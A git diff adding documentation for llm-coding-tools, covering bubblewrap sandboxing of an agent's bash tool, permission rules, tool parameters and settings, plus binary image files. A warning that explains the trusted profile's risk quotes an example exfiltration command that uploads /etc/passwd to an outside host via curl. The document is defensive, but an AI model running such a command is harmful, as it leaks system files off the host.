resolvers** - restrict which files the file tools (`read`, + `write`, `edit`, `glob`, `grep`) can access. This does NOT protect against + shell execution. See [Path resolvers](tools.md#path-resolvers) for the full + resolver types and configuration. +2. **Shell sandboxing** (Linux only) - sandbox the `bash` tool + with kernel-level filesystem, network, and process isolation. + +## Shell sandboxing + +Built on [bubblewrap](https://github.com/containers/bubblewrap), a lightweight +sandboxing tool that uses Linux kernel namespaces. + +- **Feature flag**: `linux-bubblewrap` (see [Feature Flags](feature-flags.md)) +- **Requirement**: Linux host with `bwrap` installed + +The sandbox never silently falls back to host execution. If `bwrap` is missing +or unusable, you get an explicit error. + +### Enabling sandboxing + +Sandboxing requires the `linux-bubblewrap` feature flag and explicit code to +apply a profile to each tool. + +```toml +[dependencies] +llm-coding-tools-serdesai = { version = "0.2", features = ["linux-bubblewrap"] } +``` + +*(Also shown in [Getting Started](getting-started.md) and +[Feature Flags](feature-flags.md).)* + +When you enable sandboxing, start with the **Public Bot** profile. + +=== "With Agent Files" + + When using agent files, create the build context with + [`new_with_temp_sandbox`][new_with_temp_sandbox] and a [`Preset`][Preset]. + All agents built from the same context share the sandbox. The `bash` + permission in agent frontmatter still controls *whether* the bash tool is + included, but the sandbox isolates bash automatically. + + **1.** Create an agent file at `agents/coder.md` + (see [Agent file format](agents.md) for all frontmatter fields): + + ```markdown + --- + name: coder + mode: all + description: A coding agent that can read, search, edit, and run commands. + permission: + read: allow + write: allow + edit: allow + glob: allow + grep: allow + bash: allow + webfetch: deny + task: deny + --- + + You are a coding assistant. Use the available tools to complete the user's task. + ``` + + !!! tip "`webfetch: deny` matches the sandbox's network isolation" + The Public Bot profile disables network access inside the sandbox. + Setting `webfetch: deny` keeps the agent's permissions consistent + with what the sandbox actually allows. If you use the Trusted + Maintenance profile (network enabled), you can set `webfetch: allow` + instead. + + **2.** Add the dependencies: + + ```toml + [dependencies] + llm-coding-tools-serdesai = { version = "0.2", features = ["linux-bubblewrap"] } + llm-coding-tools-agents = "0.1" + llm-coding-tools-core = "0.2" + llm-coding-tools-models-dev = "0.1" + tokio = { version = "1", features = ["full"] } + ``` + + **3.** Run the agent with sandboxing: + + The key call is `new_with_temp_sandbox(…, Preset::PublicBot)` - the + rest is agent loading and model setup. + + ```rust + use llm_coding_tools_agents::{AgentCatalog, AgentLoader, AgentRuntimeBuilder}; + use llm_coding_tools_core::CredentialResolver; + use llm_coding_tools_models_dev::ModelsDevCatalog; + use llm_coding_tools_serdesai::{AgentBuildContext, AgentDefaults, profile::Preset}; + use std::{path::PathBuf, sync::Arc}; + + #[tokio::main] + async fn main() -> Result<(), Box> { + let workspace = std::env::current_dir()?; + + // Load agent definitions from markdown files + let mut catalog = AgentCatalog::new(); + AgentLoader::new().add_directory(&mut catalog, "./agents")?; + + // Sync the models.dev catalog (with ETag caching and offline fallback) + let load_result = ModelsDevCatalog::load().await?; + + // Build runtime with a default model and the loaded agents + let runtime = AgentRuntimeBuilder::new() + .catalog(catalog) + .defaults(AgentDefaults::with_model( + "synthetic/hf:MiniMaxAI/MiniMax-M2.5", + )) + .build()?; + + // Create a sandboxed build context using the Public Bot preset. + // All agents built from this context run bash inside the sandbox. + let build_context = AgentBuildContext::new_with_temp_sandbox( + Arc::new(runtime), + Arc::new(load_result.catalog), + Arc::new(CredentialResolver::new()), + Arc::from(workspace.into_boxed_path()), + Preset::PublicBot, + )?; + + // Build a named agent - bash runs sandboxed automatically + let agent = build_context.build("coder")?; + let response = agent + .run("List all Rust files in src/", ()) + .await?; + println!("{}", response.output()); + Ok(()) + } + ``` + +=== "Without Agent Files" + + When building tools by hand (without agent files), create a + profile and pass it to [`.with_linux_bwrap()`][with_linux_bwrap]: + + The key line is `.with_linux_bwrap(profile)` - the rest is profile setup. + + ```rust + use llm_coding_tools_serdesai::{BashTool}; + use llm_coding_tools_serdesai::profile::{Builder, TmpBacking}; + use std::fs; + + fn main() -> Result<(), Box> { + let workspace = std::env::current_dir()?; + let sandbox_root = tempfile::Builder::new() + .prefix("my-sandbox-") + .tempdir()?; + let synthetic_home = sandbox_root.path().join("home"); + let cache_root = sandbox_root.path().join("cache"); + fs::create_dir_all(&synthetic_home)?; + fs::create_dir_all(&cache_root)?; + + let profile = Builder::public_bot( + &*workspace, + &*synthetic_home, + &*cache_root, + Some(TmpBacking::Tmpfs), + ) + .build()?; + + let bash = BashTool::host() + .with_linux_bwrap(profile) // opt in to sandboxing + .with_timeouts(Some(20_000), None); + + Ok(()) + } + ``` + +!!! note "How sandboxing interacts with agent permissions" + + - **With agent files**, the `bash: allow` permission in frontmatter + controls whether the bash tool is included at all; the sandbox profile + on `AgentBuildContext` controls *how* it runs. You cannot opt out of + the sandbox per-agent - all agents share the same context. + + - **Without agent files**, sandboxing is per-tool: call + `.with_linux_bwrap(profile)` on each `BashTool` you create. + + - **Preset choice** is independent of the tab: both paths can use + `Preset::PublicBot` or `Preset::TrustedMaintenance`. See + [The two profiles](#the-two-profiles) for guidance. + +### The two profiles + +!!! info "llm-coding-tools ships two profiles for common use cases: **Public Bot** and **Trusted Maintenance**." + +#### Public Bot + +For **untrusted or hostile input** - Discord bots, public-facing endpoints, +any scenario where you don't trust the data you're working with. + +The LLM (or the user prompting it) is assumed adversarial: it will attempt +network exfiltration, credential theft, and host filesystem writes. + +- Network disabled (`--unshare-net`) + +- Minimal filesystem: only system runtime roots (e.g. `/usr/bin`, `/usr/lib`, + `/lib`), workspace, and synthetic home + +- Synthetic home (an empty directory mounted as `~`) replaces the real home - + `~/.ssh` is never accessible + +- Environment scrubbed: only a minimal sanitized `PATH` (standard system + binaries) and `HOME` + +- Commands run via the system `bash` or `sh` (resolved from mounted system + paths) + +#### Trusted Maintenance + +For **trusted automation** - CI/CD pipelines, build jobs, maintenance tasks +where you control the inputs. + +Inputs are controlled by you, but filesystem and network escapes are still +contained to limit blast radius from accidental damage. + +- Network enabled + +- Full host `/` visible (read-only) + +- Narrowed writable areas: workspace, synthetic home, cache root, `/tmp` + +- `/etc/shadow` hidden by a memory-backed tmpfs overlay + +- Selective bind-mounts of credential directories (e.g. `~/.ssh`, + `~/.config/gcloud`) into the sandbox, with validated mount destinations + +!!! danger "Trusted Maintenance is not safe for untrusted input" + + Network access remains available and the full host filesystem is readable. + A malicious prompt could run `curl https://example.com --upload-file /etc/passwd` + to exfiltrate data. Use this profile only for trusted inputs. + +### Quick comparison + +| Aspect | Public Bot | Trusted Maintenance | +| ------------------ | --------------------------------- | ----------------------------------------- | +| Use case | Untrusted / hostile input | Trusted automation | +| Network | Disabled | Enabled | +| Host filesystem | Minimal (bins, libs, workspace) | Full `/` read-only | +| Writable paths | Workspace, synthetic home, `/tmp` | Workspace, synthetic home, cache, `/tmp` | +| `/etc` visible | No | Yes (except `/etc/shadow`) | +| Environment | Cleared, minimal sanitized `PATH` | Cleared, sanitized host `PATH` + XDG Base Directory variables | +| Credential mounts | Not supported | Supported (validated) | +| Safe for untrusted | **Yes** | **No** | + +### Under the hood: mounts, environment, and network + +The sandbox starts from an empty filesystem view. The sandbox exposes nothing +from the host unless you mount it. + +**Mount types:** + +| Type | Flag | Effect | +| -------------- | ----------- | -------------------------------------------------------------- | +| Read-only bind | `--ro-bind` | Read-only access to a host path | +| Writable bind | `--bind` | Read-write access to a host path | +| Memory overlay | `--tmpfs` | Writable directory backed by memory; hides anything underneath | +| Symlink | `--symlink` | Creates a symlink inside the sandbox | + +**Environment isolation:** The sandbox clears all inherited variables +(`--clearenv`), then sets only explicitly allowed ones (`--setenv`). + +**Network isolation:** `--unshare-net` places the sandbox in its own network +namespace with no interfaces. This is kernel-level, not a firewall rule. + +**Process lifecycle:** `--die-with-parent` kills the sandboxed process if the +parent exits. `--new-session` creates a clean process session for signal +handling. + +**LLM awareness:** When the sandbox disables network access, the system prompt +tells the LLM that network is unavailable, so it adjusts its behaviour. + +## Security best practices + +**Good practices:** + +1. Use a synthetic home (e.g. `/tmp/sandbox-home-{job-id}`) +2. Mount cache root directories explicitly (the directories where build tools + store downloaded packages and compiled artifacts) +3. Set `XDG_CACHE_HOME` and `XDG_STATE_HOME` to appropriate sandbox locations + +**Anti-patterns to avoid:** + +- **Real home bind** - mounting the actual home directory exposes SSH keys + +- **Full credential-store mounts** - mounting `~/.ssh`, `~/.config/gcloud` + defeats isolation + +- **SSH agent forwarding** - socket forwarding bypasses filesystem restrictions + +- **Broad writable host roots** - writable binds to `/opt`, `/var` increase + blast radius + +- **Unnecessary env passthrough** - inheriting secrets via environment variables + +## Pre-deployment checklist + +!!! tip "Before going live, consider checking the following" + +**Host:** + +- [ ] `bwrap` is installed and on `PATH` +- [ ] Kernel user namespaces are available + +**Public Bot:** + +- [ ] No outbound network connections are possible +- [ ] No host credentials are accessible +- [ ] Writes outside the workspace go to tmpfs, not the host + +**Trusted Maintenance:** + +- [ ] Cache and build output directories work correctly +- [ ] No unintended host paths are writable from inside the sandbox + +[with_linux_bwrap]: https://docs.rs/llm-coding-tools-serdesai/latest/llm_coding_tools_serdesai/struct.BashTool.html#method.with_linux_bwrap +[new_with_temp_sandbox]: https://docs.rs/llm-coding-tools-serdesai/latest/llm_coding_tools_serdesai/struct.AgentBuildContext.html#method.new_with_temp_sandbox +[Preset]: https://docs.rs/llm-coding-tools-bubblewrap/latest/llm_coding_tools_bubblewrap/profile/enum.Preset.html diff --git a/docs/src/tools.md b/docs/src/tools.md new file mode 100644 index 00000000..cf024ac0 --- /dev/null +++ b/docs/src/tools.md @@ -0,0 +1,427 @@ +# Tools + +!!! tip "llm-coding-tools provides 10 standard tools that cover the core needs of a coding agent." + +Every tool has a plain function implementation in [llm-coding-tools-core]. Adapter +implementations that integrate those functions with LLM frameworks live in crates +like [llm-coding-tools-serdesai]. + +Jump to [Tool overview](#tool-overview) for the tool list, or read on for how +configuration and permissions work. + +## How it fits together + +Tools are configured through [agent files] or in code. + +The configuration is best illustrated with an agent file. The example below +covers three concepts - which tools are available, what they may access, and +how defaults are configured: + +```yaml +--- +name: code-searcher +mode: subagent +description: Searches codebases to find relevant files + +# (1) Permissions: which tools the agent can use, and optionally which +# file paths, commands, or agent names each tool may access. +# Default-deny: every tool is blocked unless explicitly allowed. +permission: + read: allow + glob: allow + grep: allow + bash: deny # explicit deny (same as omitting it) + +# (2) Tool settings: host-side defaults for tools that support them. +# These are NOT per-call parameters - they set the limits the agent +# operates within. The LLM never sees or overrides these. +tool_settings: + read: + line_numbers: false # omit line numbers (we parse output programmatically) + limit: 500 # return at most 500 lines per read + grep: + line_numbers: false + limit: 50 # cap search results at 50 matches +--- + +You are a code search assistant. Use grep to find relevant files, then read +the matching files to extract and summarize the content. +``` + +| Concept | Where configured | What it controls | +| ------------------ | --------------------- | --------------------------------------------------------------------------------------------------------- | +| Availability | `permission` | Which tools the agent may call, and optionally which file paths, commands, or agent names they may access | +| Defaults & limits | `tool_settings` | Host-side constraints like line counts, timeouts | +| Per-call behaviour | (LLM-supplied params) | `offset`, `limit` within the host's bounds, etc. | + +See [Agents] for the full agent file specification. + +The `permission` field is the most nuanced of the three. Beyond simple +allow/deny, it supports pattern-based rules: + +### Permission rules + +Permissions use **pattern-based rules** with last-match-wins evaluation. Not +all tools support this: + +| Tool(s) | Pattern matches against | Supports patterns | +| ----------------------------- | -------------------------------- | -------------------- | +| read, write, edit, glob, grep | File path (relative or absolute) | yes | +| bash | Command string | yes | +| task | Target agent name | yes | +| webfetch, todoread, todowrite | - | no (allow/deny only) | + +For file tools, patterns match against the path as given. Absolute paths +start with `/` or a drive letter like `C:/`. Relative paths have no such +prefix and are resolved against the **workspace root**: the git repository +root if one is found, otherwise the current working directory. + +| Pattern | Matches | +| ------- | --------------------------------------------------------- | +| `**` | Any file at any depth, relative to the workspace root | +| `*` | Any file in the workspace root only | +| `/**` | Any file on the system, including other drives on Windows | +| `?` | Exactly one character in a path segment | + +```yaml +permission: + read: + "**": deny # catch-all: deny by default + "src/**": allow # allow src directory (last match wins) + grep: allow # scalar shorthand for { "**": allow } + task: + "*": deny # deny all delegation by default + "reader-*": allow # allow delegation to reader-* agents (last match wins) +``` + +!!! note "Rule order matters" + + Rules are evaluated in reverse order: the **last matching rule wins**.
+ Write specific rules **last** in your config so they override the catch-all patterns. + + Common patterns: + + - **Default deny, allow specific**: `"**": deny` first, specific `"path/**": allow` last + - **Default allow, deny specific**: `"**": allow` first, specific `"path/**": deny` last + +## Tool overview + +| Tool | Core function | What it does | +| ------------------------------------- | ------------------------ | ------------------------------------------------------- | +| [**read**](#read) | `read_file` | Read a file with offset/limit and optional line numbers | +| [**write**](#write) | `write_file` | Create or overwrite a file at a resolved path | +| [**edit**](#edit) | `edit_file` | Apply exact text replacements (find-and-replace) | +| [**glob**](#glob) | `glob_files` | Match filesystem paths by glob pattern | +| [**grep**](#grep) | `grep_search` | Search file contents by regex with match metadata | +| [**bash**](#bash) | `execute_command` | Execute shell commands with timeout and captured output | +| [**webfetch**](#webfetch) | `fetch_url` | Fetch a URL and return content as text or markdown | +| [**todoread**](#todoread--todowrite) | `read_todos` | Read shared todo list state | +| [**todowrite**](#todoread--todowrite) | `write_todos` | Update shared todo list state | +| [**task**](#task) | `TaskInput`/`TaskOutput` | Delegate work to a named sub-agent | + +### read + +Reads a file, optionally with line numbers and a windowed range. + +**Parameters:** + +| Parameter | Type | Required | Description | +| --------- | ------ | -------- | ------------------------------------------------- | +| `path` | string | yes | Absolute file path (or relative to allowed dirs) | +| `offset` | number | no | Starting line number (1-indexed, default: 1) | +| `limit` | number | no | Max lines to return (default: from tool settings) | + +**Output:** Line-numbered file content. Lines beyond `max_line_length` are +truncated with `...`. + +**Configurable via [tool settings](#tool-settings):** `line_numbers`, `limit`, +`max_line_length` + +### write + +Creates or overwrites a file. Creates parent directories if they don't exist. + +**Parameters:** + +| Parameter | Type | Required | Description | +| --------- | ------ | -------- | ------------------ | +| `path` | string | yes | File path to write | +| `content` | string | yes | Content to write | + +**Output:** Confirmation message. + +### edit + +Applies exact text replacements to a file. The old text must match exactly +(including whitespace and indentation) or the edit fails. + +**Parameters:** + +| Parameter | Type | Required | Description | +| ---------- | ------ | -------- | ------------------ | +| `path` | string | yes | File path to edit | +| `old_text` | string | yes | Exact text to find | +| `new_text` | string | yes | Replacement text | + +**Output:** Confirmation with the number of replacements made. + +**Behaviour:** + +- If `old_text` matches exactly once, the replacement is applied +- If `old_text` matches multiple times, all occurrences are replaced +- If `old_text` is not found, the edit fails with an error + +### glob + +Matches filesystem paths by glob pattern. Uses the `.gitignore`-aware `ignore` +crate for fast traversal. + +**Parameters:** + +| Parameter | Type | Required | Description | +| --------- | ------ | -------- | ---------------------------------------------- | +| `pattern` | string | yes | Glob pattern (e.g. `**/*.rs`, `src/**/*.toml`) | +| `path` | string | no | Root directory for the search | + +**Output:** List of matching file paths. + +**Configurable via [tool settings](#tool-settings):** `limit` + +### grep + +Searches file contents by regex pattern. Returns matching lines with metadata. + +**Parameters:** + +| Parameter | Type | Required | Description | +| --------- | ------ | -------- | --------------------------------- | +| `pattern` | string | yes | Regex pattern to search for | +| `path` | string | no | File or directory to search in | +| `include` | string | no | File pattern filter (e.g. `*.rs`) | + +**Output:** Matching lines with line numbers and file paths. + +**Configurable via [tool settings](#tool-settings):** `line_numbers`, `limit`, +`max_line_length` + +### bash + +Executes a shell command with timeout and captured output. + +**Parameters:** + +| Parameter | Type | Required | Description | +| ------------ | ------ | -------- | ----------------------------------------------- | +| `command` | string | yes | Shell command to execute | +| `timeout_ms` | number | no | Timeout in milliseconds (default from settings) | +| `workdir` | string | no | Working directory for the command | + +**Output:** Combined stdout and stderr. Non-zero exit codes are included in +the output. + +**Configurable via [tool settings](#tool-settings):** `timeout_ms`, `max_timeout_ms` + +**Sandboxing:** On Linux, you can enable the `linux-bubblewrap` feature to run +commands inside a [bubblewrap] sandbox. See [Sandboxing](sandboxing.md) for details. + +### webfetch + +Fetches a URL and returns the content. HTML pages are automatically converted +to markdown. + +**Parameters:** + +| Parameter | Type | Required | Description | +| ------------ | ------ | -------- | ----------------------- | +| `url` | string | yes | URL to fetch | +| `timeout_ms` | number | no | Timeout in milliseconds | + +**Output:** Page content as text or markdown. + +**Configurable via [tool settings](#tool-settings):** `timeout_ms`, +`max_timeout_ms`, `max_response_size` + +### todoread / todowrite + +Shared todo list state for tracking progress across tool calls. Useful for +agents that plan their work in steps. + +**todoread** returns the current todo list. **todowrite** validates and +replaces it. Both are stateless between agent runs. Create them with shared +state via [`create_todo_tools`][create_todo_tools] so that reads and writes +refer to the same list. + +**todoread parameters:** + +*(none - takes no parameters)* + +**todoread output:** Current todo list as formatted text. + +**todowrite parameters:** + +| Parameter | Type | Required | Description | +| --------- | ----- | -------- | -------------------------------------------------------------- | +| `todos` | array | yes | Complete list of todo items to set (replaces the current list) | + +Each todo item: + +| Field | Type | Required | Values | +| ---------- | ------ | -------- | -------------------------------------------------- | +| `id` | string | yes | Stable, non-empty identifier | +| `content` | string | yes | Short imperative task text | +| `status` | string | yes | `pending`, `in_progress`, `completed`, `cancelled` | +| `priority` | string | yes | `high`, `medium`, `low` | + +**todowrite output:** Confirmation with the number of items set. + +### task + +The task tool enables multi-agent delegation. An agent can invoke a named +sub-agent with a prompt and receive the result. + +**Parameters:** + +| Parameter | Type | Required | Description | +| --------------- | ------ | -------- | ------------------------------------------------------------ | +| `subagent_type` | string | yes | Exact name of the target subagent | +| `prompt` | string | yes | Full instructions for the delegated agent | +| `description` | string | yes | Short task label (3-5 words) | +| `command` | string | no | Optional context string identifying what triggered this task | + +**Output:** The delegated agent's response as a text summary. + +See [Getting Started](getting-started.md) for the full delegation model. + +## Tool Settings + +Some tools expose configurable settings. These are **host-side** constraints, +not parameters the LLM passes per call. + +### read + +| Setting | Type | Default | Min | Description | +| ----------------- | ------- | ------- | --- | --------------------------- | +| `line_numbers` | `bool` | `true` | - | Show line numbers in output | +| `limit` | `usize` | `2000` | `1` | Max lines returned per read | +| `max_line_length` | `usize` | `2000` | `4` | Max characters per line | + +### grep + +| Setting | Type | Default | Min | Description | +| ----------------- | ------- | ------- | --- | ----------------------------- | +| `line_numbers` | `bool` | `true` | - | Show line numbers in output | +| `limit` | `usize` | `100` | `1` | Max matches returned | +| `max_line_length` | `usize` | `2000` | `4` | Max characters per match line | + +### glob + +| Setting | Type | Default | Min | Description | +| ------- | ------- | ------- | --- | ----------------------- | +| `limit` | `usize` | `1000` | `1` | Max file paths returned | + +### bash + +| Setting | Type | Default | Min | Description | +| ---------------- | ----- | -------- | ------ | ------------------------------- | +| `timeout_ms` | `u32` | `120000` | `1000` | Default command timeout (ms) | +| `max_timeout_ms` | `u32` | `600000` | `1` | Max timeout the LLM can request | + +### webfetch + +| Setting | Type | Default | Min | Description | +| ------------------- | ------- | --------- | ------ | ------------------------------- | +| `timeout_ms` | `u32` | `30000` | `1000` | Default fetch timeout (ms) | +| `max_timeout_ms` | `u32` | `600000` | `1` | Max timeout the LLM can request | +| `max_response_size` | `usize` | `5242880` | `1` | Max response body size (bytes) | + +### Setting in agent files + +Override defaults in the agent file front matter under `tool_settings`: + +```yaml +--- +name: my-agent +tool_settings: + read: + line_numbers: false + limit: 500 + bash: + timeout_ms: 60000 + max_timeout_ms: 300000 +--- +``` + +!!! warning "Validation rules" + + - `max_timeout_ms` must be greater than or equal to `timeout_ms` (for both + bash and webfetch). + - `max_line_length` must be at least 4 to accommodate the `...` + truncation suffix plus at least one visible character. + +### Override in code + +There are two levels of API depending on how you use the library. + +**Agent-level settings** (llm-coding-tools-agents): + +Use [`AgentToolSettings`](https://docs.rs/llm-coding-tools-agents/latest/llm_coding_tools_agents/struct.AgentToolSettings.html) +when building an agent from an [`AgentConfig`](https://docs.rs/llm-coding-tools-agents/latest/llm_coding_tools_agents/struct.AgentConfig.html): + +```rust +use llm_coding_tools_agents::{AgentToolSettings, ReadToolSettings}; + +let settings = AgentToolSettings { + read: ReadToolSettings { + line_numbers: false, + limit: 500, + max_line_length: 2000, + }, + ..AgentToolSettings::default() +}; +``` + +**Tool-level settings** (llm-coding-tools-core / llm-coding-tools-serdesai): + +Use the builder pattern on each tool when constructing them individually: + +```rust +use llm_coding_tools_core::tools::ReadSettings; +use llm_coding_tools_serdesai::{ReadTool, AbsolutePathResolver, BashTool}; + +// Read +let settings = ReadSettings::new() + .with_default_limit(500)? + .with_max_line_length(1000)? + .with_line_numbers(false); +let tool = ReadTool::with_settings(AbsolutePathResolver, settings); + +// Bash +let tool = BashTool::new() + .with_timeouts(Some(30_000), Some(120_000)); +``` + +See the [API reference](https://docs.rs/llm-coding-tools-core) for the full +builder API on each settings type. + +## Path resolvers + +File tools (`read`, `write`, `edit`, `glob`, `grep`) are generic over a `PathResolver`. +This controls which paths the tools can access: + +| Resolver | Behaviour | +| ---------------------- | --------------------------------------------------------- | +| `AbsolutePathResolver` | Any absolute path is allowed. No restrictions. | +| `AllowedPathResolver` | Only paths within configured directories. Sandboxed mode. | +| `AllowedGlobResolver` | A workspace directory with glob-based allow/deny rules. | + +Agents use `AllowedGlobResolver` by default. If you don't need glob-based rules, +`AllowedPathResolver` or `AbsolutePathResolver` are slightly faster. + +For a deeper dive into path security, see [Sandboxing](sandboxing.md). + +[bubblewrap]: https://github.com/containers/bubblewrap +[create_todo_tools]: https://docs.rs/llm-coding-tools-serdesai/latest/llm_coding_tools_serdesai/tools/todo/fn.create_todo_tools.html +[llm-coding-tools-core]: https://docs.rs/llm-coding-tools-core +[llm-coding-tools-serdesai]: https://docs.rs/llm-coding-tools-serdesai +[Agents]: agents.md +[agent files]: agents.md diff --git a/docs/src/vendor/Reloaded/Images/Nexus-Heart-40.avif b/docs/src/vendor/Reloaded/Images/Nexus-Heart-40.avif new file mode 100644 index 0000000000000000000000000000000000000000..65a7eb461e628888cf9b082af0d8de4788626e9d GIT binary patch literal 955 zcmZQzU{FXasVqn=%S>Yc0uY^>nP!-qnV9D5Xz0kmz}S|XT9OEo0|Ld2l$;_6lYyZi zGr0uDhS7WlnI*Yk4kM7%$;`=52Ju`N7?>D9B0$X42&Alld@zr39gw~Z#7>!+d0;1i zWu$IwpL+AXQe6Y<38K5*s#xbWLBN3!hDzhjRVgdsLUt(!R4%kkheul%D z1w{owdTwSxaz2n2$t*5N1=1j(0mT9ZnH8BJ0cH*k4j{#oSZ3(lr~qU!FbF5-=M?27 z=Trb)!^^wsh@b{jJLPu1&O+@wk6=M_jDa1Lj?YmuKatB~E`SeK+!8SpFQ} z$!7OuE;_PKez;LjR~+hWdo1Qp>TTp+xuMv4<=&*dlSItfJa^~{@*KE1 zn}O>X|L;df-bUmVwrFkKV!pc3HD>a*d3%jswoG4~fuS9#D+Te`{gYM*{WIk_n*<^f1;Ngp+9E@Ye)La#L@}UN>S?yvv=R0zt@d`dq}+PdD!E8f-7=speMVp74;jHj8&V=0Zc0qbx}_}0*FVYE zHD9MB|4)Kb`m;yISrN0e-LqTl&sld>-`KZ(*UIM!$3OI}dl#H*_fg?SnrYU1o@=^y Zk8^I?Waa$#;lU#hOj%j0Gj}a#1^{4SOilm* literal 0 HcmV?d00001 diff --git a/docs/src/vendor/Reloaded/Images/Nexus-Icon-40.avif b/docs/src/vendor/Reloaded/Images/Nexus-Icon-40.avif new file mode 100644 index 0000000000000000000000000000000000000000..9e3e3b262e92718de9b1e3ee6ff9b69c74851ee5 GIT binary patch literal 1261 zcmZQzU{FXasVqn=%S>Yc0uY^>nP!-qnV9D5Xz0kmz}S|XT9OEo0|Ld2l$;_6lYyZi zGr0uDhS7WlnI*Yk4kM7%$;`=52Ju`N7?>D9B0$X42*f!+KA6Y24oF`HVyDc^Jg^hM zGEzWJDo6=PM`D?Qp>uvtKGizLXNb&v8~>CN%5GkfdmOZ0ZO#jscI(}XTVw+!t=YjFYvfgS z?C9p*eEK_h87&nqWa(Z1aOWUvP>SzyL9PGIo%~ldFU*&=fAua|F>-wv^OZe(Ht}qg zZ$xkYJ|sS2TJjwxb?3jVlY;ixHO&tB^*v^X<2~cmCw~}lw+D*!XEOZ~b&5`D+GJ#W z^}PCacXp%62MZ=K_{L4Pk@5Tg>GxsF_fLW>ucU?i|M}GVmc$J9rGd9^W; zanij8ke4igUYg`!be~1cfkmRJ_1}dvrvEdqKlGfo#G%4G=NPN>>NoR(ABL>sVTfe7 znLMMC>F0$>woejb54cVHyCu2d&vDNl%PW`dFU+)P&y1~It8(JQRYBbf=WT1lKk!w3 z*!;&=GI41YgH`9E_i@Rtm#2nuDe^Y?%m1G4Eo>pkypA_}&QhQ-Ytk%5FUAeEeoolk2 zaCh77H4B+uozdNX=zq!1YAXisH@jVCZ4GOlx#zBRrF1Iau{@=D-5M(^bd}yLRym)s zDEmzH6n(el=Djl)%;uLqpWN10)o`fenO!N@=N&(SEgxl1*fH6D`nE@=il#9)b?evd z3VT-6?3LY`BxfXW@V!KYbHD7e+k48+ovTudy;D*!?dr;M?v4M=QcXI}UzZVNGOqtG z@ajYC`(wd&>i50P8nj0t^QO<@`e!5E&fX!GG_y|c-Go!A z+y(bEzwP!>*W){!w71GNsqREhMDo&d5vDyh6RURhl$R@9ogC!8-$d_$QAK9#G8v7F z+x4IS&~KI63yQvBAOcl#ZMgf(s|pV;v8S<{qFa^G_lPyamOm|@jk`PZ)J z%&MPD|Gkg7etyC}<&WBBkL-3Y)W5df?$7h!#HPgQHJsjSI=t?#vHG@j#~IOxfLr%i z3Y9qzi)G%w?x%6|!)&Q30*7wDF%X literal 0 HcmV?d00001 diff --git a/docs/src/vendor/Reloaded/Images/Reloaded-Heart-40.avif b/docs/src/vendor/Reloaded/Images/Reloaded-Heart-40.avif new file mode 100644 index 0000000000000000000000000000000000000000..be000d316116336db9a9caa7511037b19b16f43d GIT binary patch literal 956 zcmZQzU{FXasVqn=%S>Yc0uY^>nP!-qnV9D5Xz0kmz}S|XT9OEo0|Ld2l$;_6lYyZi zGr0uDhS7WlnI*Yk4kM7%$;`=52Ju`N7?>D9B0$X42&Almd@zr39gw~Z#7>!+d0;1i zWu$IwpL+AXQe6Y<38K5*s#xbWLBN3!hDzhjRVgdsLUt(!R4%kkheul%D z1w{owdTwSxaz2n2$t*5N1=1j(0mT9ZnH8BJ0cH*k4j{#oSZ3(lr~qU!FbF5-=M?27 z=Trb)!^^wsh@b{jJLPu1&O+@wk6=M_jDa1Lj?YmuKatB~E`SeK+!8SpFQ} z$!7OuE;_PKez;LjR~+hWdo1Qp>TTp+xuMv4<=&*dlSItfJa^~{@*KE1 zn}O>X|L;df-bUmVwrFkKV!pc3HD>a*d3%jswoG4~Jas zA(8m|(p|CADLRwBuR1a%Uh-7aMJXru2eE#E*&$ManNk8#QYm8d&R%qhY->NI_aPu_y}1-i^grt`t$o5=_q*7W>aFV(Lv9>3%RN5LV`g6DJENxC z)>Ev-gr+)dHhNp-`r?!pr^DAn8z=5n@tXYmUA~6S^^-HNcy-#pyd=pK<7rj-Eb7l4 z+sm_BrHy&(ZaQsd^qgyTi%Zp6e(urz>uO`A_Sx<>fAT=+nsA52;S2-*$GZ>JpLq5* YMf%-gZgIaS$G$M%+cf=~%H^FC0M>m(YXATM literal 0 HcmV?d00001 diff --git a/docs/src/vendor/Reloaded/Images/Reloaded-Icon-40.avif b/docs/src/vendor/Reloaded/Images/Reloaded-Icon-40.avif new file mode 100644 index 0000000000000000000000000000000000000000..691dc3eaef6bb75fa379abd7ca51ae09ad19c70b GIT binary patch literal 1586 zcmYLG2{@En82-mHB$`Q)M931A%S^hqN0?kHYowTG+B(&i9>j007V>vLhJyFpvm9Aw?=k zL{ULJ(cKZ{2mr7YDuIocYEbBrLMY5{DF86QVD|U?J8ofsZ0ZJqLGuBSLJyWQCjgKE zq$|*n1tHP}@eKy6f}k17F(63WXkkOqga|=uk?z2UnWK)-DfErXKNLuoDvlHe2`_bO zf=t4<698ZfJ~W)NQBzv=FOb1xK*$9d!E^|>gDeICLTMQPKadPC9O?|}Pf<}30%d#{ z>PUhvlmWoDU^<0K3#Noa-KYTYcxVZ_=r=p;hZ)e4nysMHN2Ez8lV(F@5YBE)7@J@) zm|??;V6h2QmJQ?qDIlI1VT1qP{%(*#-M9y|6?!Z=m`tJ^AR`BpPf-8>xlC#Zo~;Tf z!8O#*7G8BgSIMe7SUe4{32+|8(LBJZgrq^`fTX;~EiIAaI*9{#c;-~<{b`Iik5cmG z5?a*|m6c@&-}AQkTJp%fw)V?96_z@h2=?45H0pwB0-k5fdX{#P)VYf8JpI|MJ#_5A zjKYa>te>q1uXHZUC3{`ngUo5S_K%4zIwboT>)yaed-7g)M^ZDxN7;(m%=xeSCMpu^ z73#uWQ@_Om@tycWC4Wm9H}6e+_{3#*ooJG7Pf8-q0LMbsTN8F)P!Z4TDW5BAnk7w# zu8uSY#h4EAyj_+15SIEjOW3ZuYHCHI%Q|o7bCB{4#7pwswW1Xw#-5wo)4FT%S4o$M z9$*!_+Vk7CXK8yZ_YWzD#I1|MTy<9Ejbwc@ijJKyPJ3~GB1zPsrQiRQim0#h>|{Ej zj4)q6oLAgEa7B4qJnQ_sYEaVjGTElOsegUSWKm4^RTRoB=;&o}N7_jO1C5Mr(L!`+ zS2^kWB;Bhc0kNg9MubImXo?p62}svmXN%jCS5d#PIQ*TD1{FN4we3wVsQDM$FT0*C zYi-aWX6QOIXNEX=enUCSY>|?0i}dTPps&kuK#Szn9ptr8PO&x7TnT?@%FOlPbrDVF zfkU@TapOXs@H)$jJ@L?^6CDtr9f!jv%_QGc6T+vH=TyHjb}NS7y*;n(V%a9f+< zj$Y$2<8NL?o=>Y5fPt8+=<#dXgeIedpQw{-PQozjHv=*sokL#wnOKk5KaUab{CCCO zEQ@UR2bNPJ4*Wdy);jKsz2MA*s%M3-z9caHqj`$OtPI@FSkm%!xIZDrZ0%6ZQsSRG 